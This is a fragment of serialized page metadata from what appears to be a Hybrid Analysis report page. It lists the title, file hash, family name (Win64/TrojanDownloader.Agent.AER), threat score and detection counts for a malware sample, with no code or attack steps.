Win64/TrojanDownloader.Agent.AER Sample ab52c1b08489… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ab52c1b08489…. Malware family: Win64/TrojanDownloader.Agent.AER. Threat score 100/100. 4/27 AV engines flagged this file. 4 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win64/TrojanDownloader.Agent.AER Sample ab52c1b08489… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ab52c1b08489…. Malware family: Win64/TrojanDownloader.Agent.AER. Threat score 100/100. 4/27 AV engines flagged this file. 4 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L46","11",{}]]